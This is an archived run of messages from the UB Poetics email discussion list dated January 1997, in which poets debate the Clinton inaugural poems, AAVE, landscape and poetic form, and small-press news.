>So, from here, where it's warm as pixels, I ask you, citizens of Poetics,
>which is it--Maya Angelou or Miller Williams? Who will call Coolidge and
>Fagin? What do you make of it all?

I thought Miller Williams expressed humane, hearty sentiments rather wood-enly & unrhythmically. But it was clearly INAUGURAL. I'll be more interested when the poems are AUGURAL. - Henry Gould

↑ Index

517. **Joel Felix**
Re: Poet to the President
Tue 21 Jan 1997

Mr. President, will you buzz a state secret into my hot ear? I will strain to hear your trailing rasp before I'm grabbed by secretive service, only having caught "the frequency is." Can I call you Bill, can we play a round of poker with Kelsey Grammer, and then would that be poetry, the return of the subject? Our scene was better set by camera 5 but the program director wanted my eyes as they misted on 3. Here is a hat's off to Sherry Brennan who touched me with a cattle prod this morning, that completed circuit which I hold to and "re-ply." It's a fair bet this morning that all players are real, at least as so as the play, or so I might suspect between glances from the window to the tv to the computer screen.

JF

At 01:48 PM 1/21/97 GMT, you wrote:
>Is Bill Clinton in the real world; is Michael Jordan in the real world; am I
>in the real world; is Dennis Rodman in the real world; is flesh in the real
>world; are you in the real world; is the poet to the president in the real
>world? If I work am i in the real world? If I read am I in the real world?
>If I write am i int he real world? IF I can't read am I in the real world?
>Is "A Poem for Emily" which was written by the poet to the president in the
>real world, which reads in part - "sometime I know you will have them read
>this / so they will know I love them and say so / and love their mother" and
>ends "which is I stood and loved you while you slept"? Does this make more
>sense than what Duane Davis calls Charles Bernstein's "heatdeath of all
>those small economies we so fondly call 'you' and 'I'"? Is the poet a

>better poet if he is in the real world? How does he know he is in the real
>world? If he reads books is he in the real world? If he doesn't read books
>but only experiences the real world and then writes books is he in the real
>world? If he is a she and isn't a mother and isn't loved by the poet to the
>president is she in the real world?
>
>
>Sherry Brennan
>Development Research
>The Pennsylvania State University
>[redacted]
>[redacted]
>

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518. **maria damon**
Re: AAVE (fwd)
Tue 21 Jan 1997

---

tosh: tell us more abt tamtam books.

In message <v01540b01af09a9def3aa@[207.211.61.171]> UB Poetics discussion group
writes:
> English language is consistently expanding and changing. So why is it now
> such a big issue? Why can't we have both _ standard English and regional
> English? I think they should teach standard English and acknowledge
> regional conversational habits - but standard English is the main language
> for communicating to other countries, etc.
>
> Plus, why is there so much overly political announcements on this
> particular listing? Not that I am against such announcements, but from
> certain individuals that is all you get - very rarely do they comment on
> poetics, etc. Just thinking out loud.
>
> Tosh Berman
> TamTam Books
>

↑ Index

519. **henry gould**
Re: Poet to the President
Tue 21 Jan 1997

---

according to the Times today (science section), we're all in the real world - but it's a non-vacuum suffused in quantum foam - a vast sea of virtual particles which actually become real in contact with black holes. Sound familiar?

- the real "Henry Gould" (heh heh. fooled you folks again...)

↑ Index

520. **David Kellogg**
Re: building bridges
Tue 21 Jan 1997

I didn't hear the poem at the time, but heard it later on NPR and saw it read on the Lehrer newshour. It's hard to tell which is worse, Angelou or Williams, though I'd vote for Williams mainly on the basis of its awful title, a reversal of Clinton's campaign book, _Between Hope and History_. I immediately went to my bookshelf and read John Ashbery's Bicentennial poem "Pyrography" as a purgative measure.

In the paper this morning, I read that Williams is the father of the country-rock singer Lucinda Williams. So all is not lost.

Cheers,
David
~~~
~~~

no roses review
#7

edited by Carolyn Koo
& Davis McCombs

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↑ Index

522. **Marjorie Perloff**

Pomogi!! (fwd)

Tue 21 Jan 1997

I thought those of you who have friends among the Russian poets (Dragomoschenko, Prigov, Parshchikov, etc) would be interested in writing a letter as

per the following which was sent to me by a lit prof at Petersburg, Georgij Levinton. You may ask, why should we care what happens at Frankfurt but it's all interrelated and the cuts in Slavic studies, now that the Soviet Union is no longer there and no longer fashionable, are very sad. Also the prospects of pan-German studies are even sadder.

Marjorie Perloff

---------- Forwarded message ----------
Date: Tue, 21 Jan 1997 09:14:23 -0500
From: Hubertus Jahn <[redacted]>
To: Garrik Levinton <[redacted]>
Subject: Pomogi!!
Resent-Date: Tue, 21 Jan 97 17:40:58 +0300
Resent-From: "Georgij A. Levinton" <[redacted]>
Resent-To: [redacted]

Dear Garrik:

I am sending you the following in the hope that you may be able to garner a bit of support (in the form of faxed-letters) from your University. The matter is urgent and quite serious as it bodes ill for the future of all Slavic studies in Germany. Please don't hesitate to spread the news in the Petersburg scene. The Petersburg Jewish University has already reacted.

Thanks for your help, and best to Lara
Hubertus

The Institute for Russian and East European History at the University of Frankfurt in Germany, is threatened with closure. This would mean the end of all teaching and research on R/EE history in the city of Frankfurt and, in light of other threatened closures, in the entire state of Hessen. It would also mean that only Ancient and German history would be taught at Frankfurt University.

We have been participating in a campaign to save the Institute, that has thus far resulted in newspaper, televsion, and radio coverage, and garnered the support of East European specialists from across Germany. Unfortunately the history faculty has only reiterated its intention to cut the Institute. For this reason, we are seeking to increase international pressure on Hessen's Ministry of Science, which must approve any proposed cuts, and have already received letters from the Petersburg Jewish University, the Deutsches Historisches Institut Warschau, among others. We are urgently requesting, therefore, that you write a brief letter (in English) in support of keeping the Institute to the Ministry of Science. Please feel free to write a group letter including other members of your department and to distribute this letter further.

A word on the Institute: Staff: the chair (currently vacant), one assistant professor (formally two), one librarian, one secretary, and apprs. 90 students of history. R/EE Studies Program: Frankfurt is one of very few universities with such a program (including literature, economics, and political science). Professors from the other faculties have protested the cut in history, but without success. Library: 35,000 volumes plus periodicals, with strong points on Russian, Polish, and Eastern European Jewish history. It will be sold off should the Institute be closed. Activities include an exchange program which has brought over 300 scholars from the CIS to Germany as guest professors and researchers. Former Chairs include Dietrich Geyer, Klaus Zernack, Dietrich Beyrau

Reason for the Cut: The Ministry of Science has directed that 70,000 DM be saved by position cuts in the history faculty. The other historians (who have prevented the vacant chair from being filled for three years in order to appropriate funding and an asst. professor position for themselves), have decided to cut the Institute not only to fulfill the directive and to avoid cuts closer to home, but also to enrich themselves further: they will get the "left-overs" (as the Institute is worth much more than 70,000): an asst. professor position, librarian, secretary, and 20,000 DM annually for books and research assistants. No Russian or East European expert has been consulted, nor have any academic reasons been cited.

The letters are thus aimed at a purely political audience (the Minister); possible issues to be raised include: The growing political importance of R/EE history after 1989/1991. The special importance of R/EE history in Germany in light of National Socialism and the Second World War, the particular experience of Eastern Germany after 1945, as well as the current process of European integration. As the city with the highest percentage of "auslaendische Mitbuerger," Frankfurt should not be cutting but expanding its outreach to other cultures. The cutting of the Institute and the resulting emphasis on the teaching of German history at Frankfurt University would send the wrong message to students and German society regarding the importance of multiculturalism and the integration of "foreigners."

Time is short--the decision should be made in the next weeks, and your letters are urgenly needed. Please fax them to the following address (with copies to us) as soon as possible.

Frau Staatsministerin Dr. Christine Hohmann-Dennhardt
Hessisches Ministerium fuer Wissenschaft und Kunst
Rheinstrasse 23-25
65185 Wiesbaden

Germany
Fax: [redacted]

And our fax: [redacted]

Thank you very much for your support on this matter, which seems to be turning into a test case on the future of our discipline in Germany.

Hubertus F. Jahn and Susan K. Morrissey
Universitaet Erlangen
Germany

↑ Index

523. Henry Gould
music to clear yr head
Tue 21 Jan 1997

Here's my favorite head-clearing music. Or: Advertisements for My (Music) Shelf. This (along with 98 other sonnets) is forthcoming later this spring in _Mudlark_ (http://www.mudlark.unf.edu).

92 HENRY'S BAKER (CHET)

stay and we'll make each day a Valentine's Day

Touring through Holland one more time you fell
through a window like an evening angel emptied out
into the valley of the blues (the well
of the horizon filled with your lost trumpet).

Your craggy face was hollowed long before
dragged from the harem to the heroin
--quarters tossed halfway to 88s-- the score
is nothing-not-nothing (future-has-been).

My funny Valentine her face has changed,
her hair it's still the same melodic thread
(your bread & wine)-- & it is so arranged
we never leave-- the river flows ahead

into heart's mournful gulf & stays, sustains
your veiled demise with victory & peace.

- Henry Gould

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524. **Tosh**
Re: AAVE (fwd)
Tue 21 Jan 1997

> *tosh: tell us more abt tamtam books.*

TamTam Books is my little adventure into the world of making, sharing, and producing 'books.' I should have three titles out (hopefully) by the end of this year. They are:

Boris Vian's I SPIT ON YOUR GRAVE
Guy Debord's Considérations sur I'assassinat de Gérard Lebovici

The third title is a little secret for now.

Tosh Berman
TamTam Books

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525. **wheeler**
Re: POETICS Digest - 18 Jan 1997 to 19 Jan 1997
Tue 21 Jan 1997

For John Kinsella re landscape/pastoral: Kamau Brathwaite maintains that the shape of the landscape where the poet grows up determines the shape of the poems -- a slightly different way of admitting the "pastoral": therefore, his own poems derive from the archipelago, Frost's from the tended woods, etc. Don't know if he has written on this; perhaps someone else on the list may -- but I have talked with him about it a number of times. Reading: Chester Himes, Quality of Hurt & Plan B still plowing through the last 6 months of journals/reviews including two ace issues of American Speech (can't recommend it highly enough) listening: Mingus' Epitaph and Revenge, and the Set it Off soundtrack. Also just found that Merikanto Violin Concerto 2 which is pretty great.

Susan Wheeler
37 Washington Square West #10A
New York, New York 10011
[redacted]

↑ Index

526. Mary Hilton
New Chapbook by Jefferson Hansen
Tue 21 Jan 1997

New from primitive publications: "Why I Am Not A Christian" by Jefferson Hansen

An exploration of religion, thought, and what it means to be an inquisitor, this work takes us on a demanding journey toward understanding. The means by which one gets there, however, challenge tradition and complacency. Jefferson Hansen himself writes:

"So the poem is a comic wrestle: I as poet am too small and desperate to 'understand' the history -- which includes me -- in the traditional Western sense of the word. As Maurice Merleau-Ponty has pointed out, Western philosophy aims to dominate being. The same can be said of some of its most celebrated poetry. This way of approaching experience not only seems impossible to me, but also dangerous."

primitive publications is a press dedicated to bringing historically based text toward a greater accessibility. Published approximately six times a year, the cost of one chapbook is $4.00, or $20.00 for six. Titles include:

"A True Relation of the State May Last, 1616" Mary Hilton
"The Haunted Baronet" by Mark Wallace
"Lead, Glass and Poppy" by Kristin Prevallet
"Why I Am Not A Christian" by Jefferson Hansen

All checks may be made out to Mary Hilton and sent to: primitive publications, 1706 U Street, NW, Washington, DC 20009. Inquiries and requests to be put on the mailing list may be sent to the address above or to e-mail address [redacted] Submissions are welcome. Thank you!

↑ Index

527. Laura Moriarty
Re: Eustache
Tue 21 Jan 1997

Posted a querry about Eustache on a video librarian list I'm on. The reply:

> *Date: Sat, 18 Jan 1997 16:35:49 -0800*
> *Reply-To:* [redacted]
> *Originator:* [redacted]
> *Sender:* [redacted]
> *Precedence: bulk*
> *From: milos <*[redacted]*>*
> *To: Multiple recipients of list <*[redacted]*>*

> *Subject: Re: Eustache*
>
> *Laura Moriarty wrote:*
>
> *A friend from another list is looking for Eustache's The Mother and the Whore on video tape. Any clues?*
>
> *It is not available on video, has never been released, and apparently may never be; Eustache's son and heir, supposedly makes outrageous financial demands for video rights.*
>
> *It is distributed in film by NewYorker Films ([redacted])*
>
> *Best,*
>
> *Milos Stehlik*
> *Facets Video*

↑ Index

528. **Mark Weiss**

Re: POETICS Digest - 18 Jan 1997 to 19 Jan 1997

Tue 21 Jan 1997

How does he mean this? the "shape of the poems" in what sense? And does this imply a constant that's hard to imagine for some of us shape-shifters?

For the record, Frost was an ersatz new englander--don't think he came from tended woods. Does that mean that we can choose where we grew up?

(If the landscape of childhood is the standard against which all others will be measured--a hill is what hills were there, anything bigger is a mountain--what about those of us who grew up peripatetic, or at least transhumant, feeding in different pastures winter and summer?)

At 02:28 PM 1/21/97 -0500, you wrote:
>For John Kinsella re landscape/pastoral:
>Kamau Brathwaite maintains that the shape of the landscape where the poet
>grows up determines the shape of the poems -- a slightly different way of
>admitting the "pastoral": therefore, his own poems derive from the
>archipelago, Frost's from the tended woods, etc. Don't know if he has
>written on this; perhaps someone else on the list may -- but I have talked
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>Reading: Chester
>Himes, Quality of Hurt & Plan B

>still plowing through the last 6 months of journals/reviews including two
>ace issues of American Speech (can't recommend it highly enough)
>listening: Mingus' Epitaph and Revenge, and the Set it Off soundtrack.
>Also just found that Merikanto Violin Concerto 2 which is pretty great.
>
>
>Susan Wheeler
>37 Washington Square West #10A
>New York, New York 10011
>[redacted]
>[redacted]
>
>

↑ Index

529. **DS**
neo...
Tue 21 Jan 1997

> *Funny with the ongoing ebonics & neologism conversations i should receive this unsolicited. Look particularly at No.11.*
>
> *y\ apologetically*
>
> *Dan*
> *.*
>
> *Sniglets -- TWENTY WORDS THAT SHOULD EXIST*
>
> *1. ACCORDIONATED (ah kor' de on ay tid) adj. Being able to drive and refold a road map at the same time.*
>
> *2. AQUADEXTROUS (ak wa deks' trus) adj. Possessing the ability to turn the bathtub faucet on and off with your toes.*
>
> *3. AQUALIBRIUM (ak wa lib' re um) n. The point where the stream of drinking fountain water is at its perfect height, thus relieving the drinker from (a) having to suck the nozzle, or (b) squirting her(him)self in the eye (or ear).*
>
> *4. BURGACIDE (burg' uh side) n. When a hamburger can't take any more torture and hurls itself through the grill into the coals.*
>
> *5. BUZZACKS (buz' aks) n. People in phone marts who*

walk around picking up display phones and listening for dial tones even when they know the phones are not connected.

6. CARPERPETUATION (kar' pur pet u a shun) n. The act, when vacuuming, of running over a string or a piece of lint at least a dozen times, reaching over and picking it up, examining it, then putting it back down to give the vacuum one more chance.

7. DIMP (dimp) n. A person who insults you in a cheap department store by asking, "Do you work here?"

8. DISCONFECT (dis kon fekt') v. To sterilize the piece of candy you dropped on the floor by blowing on it, somehow assuming this will `remove' all the germs.

9. ECNALUBMA (ek na lub' ma) n. A rescue vehicle which can only be seen in the rearview mirror.

10. EIFFELITES (eye' ful eyetz) n. Gangly people sitting in front of you at the movies who, no matter what direction you lean in, follow suit.

11. ELBONICS (el bon' iks) n. The actions of two people maneuvering for one armrest in a movie theater.

12. ELECELLERATION (el a cel er ay' shun) n. The mistaken notion that the more you press an elevator button the faster it will arrive.

13. FRUST (frust) n. The small line of debris that refuses to be swept onto the dust pan and keeps backing a person across the room until he finally decides to give up and sweep it under the rug.

14. LACTOMANGULATION (lak' to man gyu lay' shun) n. Manhandling the "open here" spout on a milk container so badly that one has to resort to the `illegal' side.

15. NEONPHANCY (ne on' fan see) n. A fluorescent light bulb struggling to come to life.

16. PEPPIER (pehp ee ay') n. The waiter at a fancy restaurant whose sole purpose seems to be walking around asking diners if they want ground pepper.

17. PETROPHOBIC (pet ro fob' ik) adj. One who is embarrassed to undress in front of a household pet.

> *18. PHONESIA (fo nee' zhuh) n. The affliction of dialing a phone number and forgetting whom you were calling just as they answer.*
>
> *19. PUPKUS (pup' kus) n. The moist residue left on a window after a dog presses its nose to it.*
>
> *20. TELECRASTINATION (tel e kras tin ay' shun) n. The act of always letting the phone ring at least twice before you pick it up, even when you're only six inches away.*
>
> _

↑ Index

530. **DS**

Re: POETICS Digest - 18 Jan 1997 to 19 Jan 1997

Tue 21 Jan 1997

Got Epitaph as a xmas present & am playing it right now - particularly like - Percussion Discussion

dan
>listening: Mingus' Epitaph and Revenge, and the Set it Off soundtrack.
>Also just found that Merikanto Violin Concerto 2 which is pretty great.
>
>

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531. **Tom Vogler**

Elmslie performance

Tue 21 Jan 1997

Since K. E. has been mentioned several times lately, I'm posting this notice of an upcoming *free* performance. Anyone in the Bay area (or anywhere else within travel time) is welcome to come.

--tomvogler

*** Poetry Performance ***

*** Kenward Elmslie performs Postcards on Parade ***
at Kresge Town Hall, Friday January 24, 7 PM

Kenward Elmslie, poet / song writer / opera librettist / entertainer, will be making a rare west coast appearance with the one-man performance of his musical play, Postcards on Parade. In his feature-length entertainment, Elmslie will

impersonate such characters as Kevin, a post-card dealer seduced by erotic fantasies of Cheeky Kiki of Wiki-Waki-Woo, a postcard sea-nymph, and, fresh from Fort Lauderdale, the postcard dealers' nemesis: a light-fingered cross-dresser with delusions of lipsynch mega-stardom--Regina, La Postcard Queen of La Breeze Marina. All of Kenward's lyrics are set to music composed by Steven Taylor, with taped orchestrations by Bruce Coughlin. As if this weren't enough, to flesh out his play Elmslie has fashioned billboards of postcard-collages to enhance and sometimes chafe against his lyrics. These postcards have been recently exhibited by the San Francisco Institute of Art, and the National Portrait Gallery at the Smithsonian Institute in Washington DC.

This is the first time Elmslie will perform Postcards on Parade in its entirety. PLEASE TELL YOUR STUDENTS, FRIENDS AND COLLEAGUES.

Kenward Elmslie's lyrics have been sung by such performers as Fredrica von Stade, Nat King Cole, Brenda Lewis, Mabel Mercer, Barbara Cook and Estelle Parsons. He has written the librettos to many operas, including Ned Rorem's Miss Julie and Thomas Pasatieri's Three Sisters. His operas have been performed by the New York City Opera at Lincoln Center, Houston Grand Opera, Washington Opera at Kennedy Center and the Seattle Opera, to name a few.

Elmslie is one of the original "New York School" poets, a motley group of writers living in Manhattan during the advent of abstract-expressionism, including such poets as Frank O'Hara, John Ashberry and Barbara Guest. His books of poetry include Circus Nerves (Black Sparrow), Tropicalism (Z Press) and Motor Disturbance (Columbia University). His poetry has been anthologized in Postmodern American Poetry: A Norton Anthology, The Poets of the New York School (University of Pennsylvania), An Anthology of New York Poets (Random House) and From the Other Side of the Century: A New American Poetry 1960-1990 (Sun & Moon).

This performance is being sponsored by Chinquapin, with help from Peter Gizzi and the Gay, Lesbian and Bisexual Resource Center.

For more information, contact Macgregor Card at: [redacted] or [redacted].

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532. Matthias Regan

Re: POETICS Dig: Brathwaite/Frost/shapeofthepoem

Tue 21 Jan 1997

[First, let me excuse myself for possibly jumping into an older discussion: today is the first day my boss is out of the office, first day in weeks I've had a chance to read the recent messages]

Mark Weiss wrote [referring to Brathwaite & landscape influencing poetic "shape":

How does he mean this? the "shape of the poems" in what sense?

I have not read a lot of Brathwaite (but would read more given the chance) and only a little about him (ditto), but I believe the shape discussed is most often expressed in terms of length -- length of lines, length of strings of sounds (ie, as determined by line length, sentence length, clause length, breathing patterns of readers (imagined or otherwise), probably other lengths); and I think poems have been discussed in this manner before: was it Donald Davie who writes that he lost his misunderstanding of and condecension to Whitman, Ginsburg and Olson when he travelled across the N. American midwest for the first time? I think it was Davie, but whoever it was, he was a British Man who confesses to previously always thinking that N. American free verse's full (or full of emptiness) pages were the result of a more purely intellectual/historical bucking of the relatively gentle _via media_ of pentameter and trimeter verse. Derek Walcott, whose center of gravity is somewhere between Brathwaite and Davie, but probably closer to Davie, has talked about the writing of Stein, Hemingway and Faulker as being less an attempt to portray their landscapes in poetic form than an attempt to describe the attempt to do so.

> *For the record, Frost was an ersatz new englander--don't think he came from tended woods. Does that mean that we can choose where we grew up?*

I disagree with your revision of the record, if indeed I understand you correctly. Frost being here talked about as a poet, not a child. And who is to say that a) where we grew up is "our landscape" and/or b) that one does not choose their landscapes. My mother for example, who has lived in New Hampshire for 2/3 of her adult life, grew up in Michigan. She has often said that when she first came to New England, when she was about 20, she had the incredible sensation of being comfortable in the landscape for the first time in her life. Not that she'd felt out of place before, but she had never known how much she loved the New England sense of distance, of order, etc.

Of if you are objecting to "tended landscape": it most certainly was "tended" in that it most certainly wasn't wild. Order abounds in those woods, or once did.

It is five o'clock. If I had more time I would pursue some thoughts which perhaps the list can help me with, namely (briefly), what can be said about the mimetic quality of poetry today? Do members of the list hold with the (I think, inherently) mimesis that poetry must perform in order for it to resemble anything (resemble rather than be about)? Or do people think I have it all wrong? I'm not sure myself, and hopefully will be able to touch on it more soon. Is or is not the mimetic capability of poetry a fundamental assumption for any writer who uses formal methods to, for example, suggest a political stance?

best,

Matthias

(dressed nattily in work attire; can't get enough of The Stooges or McCoy Tyner but recommends to members of the list whose musical tastes seem considerably less revolutionary than their poetic ones that they check out the latest by The Krystal Methodists: "New World Odor" (not sure where to get it: but Krystal Methodists does appear on a careful internet search); reads voraciously but with little understanding the new _Canna_ by Geoffrey Hill.
>
>

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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533. **Pam Brown**
Re: AAVE (fwd)
Tue 21 Jan 1997

I know I've been around a long time....and sometimes I SOUND that way - but - there was an Italian bilingual (English/Italian)poetry magazine in the late 1970's/early 1980's called "tamtam" - the editors came to Sydney & attended readings...then published the stuff they liked... I ran into them again at a week-end poetry festival in Verona in 1985...where are they now ? Is this the next incarnation...?

Cheers
Pam Brown
At 10:39 AM 21/1/97 -0800, you wrote:
>>tosh: tell us more abt tamtam books.
>>
>
>TamTam Books is my little adventure into the world of making, sharing, and
>producing 'books.' I should have three titles out (hopefully) by the end
>of this year. They are:
>
>Boris Vian's I SPIT ON YOUR GRAVE
>Guy Debord's Considérations sur I'assassinat de Gérard Lebovici
>
>The third title is a little secret for now.

>
>Tosh Berman
>TamTam Books
>
>

↑ Index

534. **Tosh**
Re: AAVE (fwd)
Tue 21 Jan 1997

> *I know I've been around a long time....and sometimes I SOUND that way - but*
> *- there was an Italian bilingual (English/Italian)poetry magazine in the*
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> *attended readings...then published the stuff they liked...*
> *I ran into them again at a weekend poetry festival in Verona in 1985...where*
> *are they now ? Is this the next incarnation...?*
>
> *Cheers*
> *Pam Brown*

No, I never heard of them, but they sound great. Who were some of the poets in this magazine? At first I am going to concentrate on French titles, after that - who knows!

cheers,

Tosh Berman
TamTam Books

↑ Index

535. **Pierre Joris**
Re: AAVE (fwd)
Tue 21 Jan 1997

Tosh wrote:
>
> >I know I've been around a long time....and sometimes I SOUND that way - but
> >- there was an Italian bilingual (English/Italian)poetry magazine in the
> >late 1970's/early 1980's called "tamtam" - the editors came to Sydney &
> >attended readings...then published the stuff they liked...
> >I ran into them again at a weekend poetry festival in Verona in 1985...where
> >are they now ? Is this the next incarnation...?
> >

> >Cheers
> >Pam Brown
>
> No, I never heard of them, but they sound great. Who were some of the
> poets in this magazine? At first I am going to concentrate on French
> titles, after that - who knows!
>
> cheers,
>
> Tosh Berman
> TamTam Books

Tam Tam magazine was edited by Adriano Spatola & Guilia Niccolai, poets belonging to the post-"Novissimi" generation (Spatola was a member of the Gruppo '63"). Both these poets have been published in English translations [redacted] check out Red Hill Press. Paul Vangelisti & others have translated them. Adriano died in 1988. BTW, both have poems in volume two of the MILLENNIUM anthology. -- Pierre

--

==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

536. **Aldon L. Nielsen**

Re: Take A Letter, Maria

Tue 21 Jan 1997

Actually, I think it's A. Philip Randolph, unless you're reading about a nother Philip all together --

seriously, though -- I happen at this very moment to be reading an old bio. of Randolhp, and would love to compare notes with you on the book you're reading --

AND EVERYBODY -- in the PBS American Experience I watched last night, titled "You Don't Have to Ride Jim Crow," the reunited FOR freedom riders recollected a respite when they visited Black Mountain College in the midst of their battles to integrate the bus lines of the South -- this around 1947 -- would like to learn MUCH more of this --

↑ Index

537. **Aldon L. Nielsen**
Re: Miller or Maya?
Tue 21 Jan 1997

Not much to choose between there --

But, to judge from this 1957 photo I'm looking at (NY World Telegram), Angelou was probably a much better night club entertainer than Williams -- She's bare foot in the photo -- is that a touch of calypso authenticity, or a sign of her past in Stamps -- Was she, as is reported, the best calypso singer ever to have come from Arkansas?

↑ Index

538. **Pam Brown**
Re: AAVE (fwd)
Tue 21 Jan 1997

At 05:04 PM 21/1/97 -0800, you wrote:
>>I know I've been around a long time....and sometimes I SOUND that way - but
>>- there was an Italian bilingual (English/Italian)poetry magazine in the
>>late 1970's/early 1980's called "tamtam" - the editors came to Sydney &
>>attended readings...then published the stuff they liked...
>>I ran into them again at a weekend poetry festival in Verona in 1985...where
>>are they now ? Is this the next incarnation...?
>>
>>Cheers
>>Pam Brown
>
>
>No, I never heard of them, but they sound great. Who were some of the
>poets in this magazine? At first I am going to concentrate on French
>titles, after that - who knows!

>
>cheers,
>
>Tosh Berman
>TamTam Books
>
>
Hello Tosh -

Well...um...my memory's what they call a little bit "shot" I think...I can remember keywords - you know, like "tamtam", & I can half-remember which Australian poets were published in it.....but I might be able to find a copy at home & let you know later on....

I was certain YOU would be able to tell me that YES you were the same mag...

Anyway,
Bye for now
Pam

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539. **Tosh**
Re: AAVE (fwd)
Tue 21 Jan 1997

I do know their work and they are fantastic. Another one is Corrida Costa (first name may be wrong), and he is really FANTASTIC.

Tosh Berman
TamTam Books

↑ Index

540. **Franklin Bruno**
Re: POETICS Digest - 19 Jan 1997 to 20 Jan 1997
Tue 21 Jan 1997

What you see below is all I received of yesterday's list. Could someone who saved it please try to send it to me again?

P.S. Elmslie's reading at Beyond Baroque last Fri. was one of the most inspiring (in terms of creativity, skill, and sheer loopiness) performances of -any- kind I've seen in a long time. Nice and crowded, too.

fjb (who should be putting the P.S. after his initials, yeah, yeah)

> *There are 39 messages totalling 1954 lines in this issue.*

> *Topics of the day:*
>
> *1. the secret life of books*
> *2. <No subject given> (2)*
> *3. what gets taught (2)*
> *4. oh, alright (clothing) (3)*
> *5. quark this (2)*
> *6. addresses*
> *7. [Fwd: A modest proposal]*
> *8. Closure & The Pastoral (another Chapter of *Ethics*) (2)*
> *9. tunes to keep yr head clear*
> *10. A nest of ninnies*
> *11. lilt*
> *12. ZON*

↑ Index

541. **steph4848**

Re: Miller or Maya?

Tue 21 Jan 1997

A. Nielson wrote:
"Not much to choose between there --

But, to judge from this 1957 photo I'm looking at (NY World Telegram), Angelou was probably a much better night club entertainer than Williams -- She's bare foot in the photo -- is that a touch of calypso authenticity, or a sign of her past in Stamps -- Was she, as is reported, the best calypso singer ever to have come from Arkansas?"

Unfortunately my Gallimard edition(?) of Genet's Les Noirs has passed from my hands - but my recollection is that Maya Angelou - circa 1959 - was a highly esteemed actress in the premier Parisian production of the play. I suspect there are people more expert than I on this list who can correct me if I'm only imagining this. Anyway I want to suspect her earlier history is more complicated than her poetry -- as well as her public personae -- of the last couple of decades might allow.

Cheers,
Stephen Vincent

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542. **Mark Weiss**

Re: POETICS Dig: Brathwaite/Frost/shapeofthepoem

Tue 21 Jan 1997

It's wonderful how thoroughly one can be misunderstood, even on simple matters. Brathwaite is reported as saying that the "shape" of our poems is a consequence of the "shape" of our childhood landscape. I have no idea what this means, and perhaps this was a casual and careless comment of the kind we all make in conversation--the testing of an idea not worth pursuing. But I respect the man far too much to imagine that he means as a native of a small island he should be expected to write in small, isolate lines or breath-groups, whereas Whitman, a Long Islander, should write longer lines. This seems to me to be patently absurd; I don't doubt that one's physical surroundings may have an impact on the roominess of one's verse, but I expect that that impact would be rather harder to define. I picked up Brathwaite's example of Frost (an Iowan, as I remember, who moved to New England when he was 40--but my memory may be faulty) because it seemed to me to demonstrate the absurdity of any easy one to one correspondence. I'm still curious what, if anything, Brathwaite meant.

By the way, some years ago I discovered Frost's final, unpublished corrected version of "Stopping by Woods..." He had done away with that awful inversion in the first line (it had always embarassed him) and the Edgar-Guest-like end rhymes of the first couplet, and he had finally managed to come up with the last line whose lack he had covered by repeating the penultimate. In the process, he had made the poem far more truly representative of the New England in which I spent many years of my life. The first couplet in this version reads: "I think I know whose woods these are;/ They aint here now, they're over thar." And the famous last couplet now reads: "The woods are silent, dark and deep./ I guess I shoulda brought the jeep." Only the fame of the poem, I would guess, kept Frost from publishing this revision.

By the way, the rural New England of Frost's day was, and in many places still is, a landscape of failing, rusty milltowns and farms gone back to unkempt, untended second-growth forest.

At 05:19 PM 1/21/97 -0600, you wrote:
>[First, let me excuse myself for possibly jumping into an older discussion:
>today is the first day my boss is out of the office, first day in weeks I've
>had a chance to read the recent messages]
>
> Mark Weiss wrote [referring to Brathwaite & landscape influencing
>poetic "shape":
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>How does he mean this? the "shape of the poems" in what sense?
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> I have not read a lot of Brathwaite (but would read more given the
>chance) and only a little about him (ditto), but I believe the shape
>discussed is most often expressed in terms of length -- length of lines,
>length of strings of sounds (ie, as determined by line length, sentence
>length, clause length, breathing patterns of readers (imagined or
>otherwise), probably other lengths); and I think poems have been discussed
>in this manner before: was it Donald Davie who writes that he lost his
>misunderstanding of and condecension to Whitman, Ginsburg and Olson when
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>travelled across the N. American midwest for the first time? I think it was
>Davie, but whoever it was, he was a British Man who confesses to previously
>always thinking that N. American free verse's full (or full of emptiness)
>pages were the result of a more purely intellectual/historical bucking of
>the relatively gentle _via media_ of pentameter and trimeter verse.
> Derek Walcott, whose center of gravity is somewhere between Brathwaite
>and Davie, but probably closer to Davie, has talked about the writing of
>Stein, Hemingway and Faulker as being less an attempt to portray their
>landscapes in poetic form than an attempt to describe the attempt to do so.
>
>
>>For the record, Frost was an ersatz new englander--don't think he came
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>>tended woods. Does that mean that we can choose where we grew up?
>
> I disagree with your revision of the record, if indeed I understand you
>correctly. Frost being here talked about as a poet, not a child. And who is
>to say that a) where we grew up is "our landscape" and/or b) that one does
>not choose their landscapes.
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>adult life, grew up in Michigan. She has often said that when she first came
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>being comfortable in the landscape for the first time in her life. Not that
>she'd felt out of place before, but she had never known how much she loved
>the New England sense of distance, of order, etc.
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> Of if you are objecting to "tended landscape": it most certainly was
>"tended" in that it most certainly wasn't wild. Order abounds in those
>woods, or once did.
>
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> It is five o'clock. If I had more time I would pursue some thoughts
>which perhaps the list can help me with, namely (briefly), what can be said
>about the mimetic quality of poetry today? Do members of the list hold with
>the (I think, inherently) mimesis that poetry must perform in order for it
>to resemble anything (resemble rather than be about)? Or do people think I
>have it all wrong? I'm not sure myself, and hopefully will be able to touch
>on it more soon. Is or is not the mimetic capability of poetry a fundamental
>assumption for any writer who uses formal methods to, for example, suggest a
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>
>
>best,
>
>Matthias
>
>(dressed nattily in work attire; can't get enough of The Stooges or McCoy
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>considerably less revolutionary than their poetic ones that they check out
>the latest by The Krystal Methodists: "New World Odor" (not sure where to
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>reads voraciously but with little understanding the new _Canna_ by Geoffrey
>Hill.
>>
>>
>
>Matthias Regan
>Northwestern University
>Department of Chemistry
>Phone: 847/[redacted]
>
>

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543. KYLE CONNER/LRC-CAHS

Re: POETICS Digest - 18 Jan 1997 to 19 Jan 1997

Wed 22 Jan 1997

